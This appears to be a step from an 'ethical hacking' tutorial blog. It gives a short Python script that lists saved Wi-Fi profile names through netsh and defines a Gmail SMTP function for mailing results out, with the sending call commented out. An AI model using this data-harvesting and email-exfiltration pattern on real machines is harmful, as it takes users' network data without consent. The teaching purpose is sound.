Filtering Command Output using Regex

#!/usr/bin/env python

import smtplib
import subprocess
import re


def send_mail(email, password, message):
    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()


command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
network_names = re.findall(b"(?:Profile\s*:\s)(.*)", networks)
print(network_names)
# send_mail("aaaa@gmail.com", "1111111", result)

Python Ethical Hacking - Malware Analysis(2)_python

 

相信未来 - 该面对的绝不逃避,该执著的永不怨悔,该舍弃的不再留念,该珍惜的好好把握。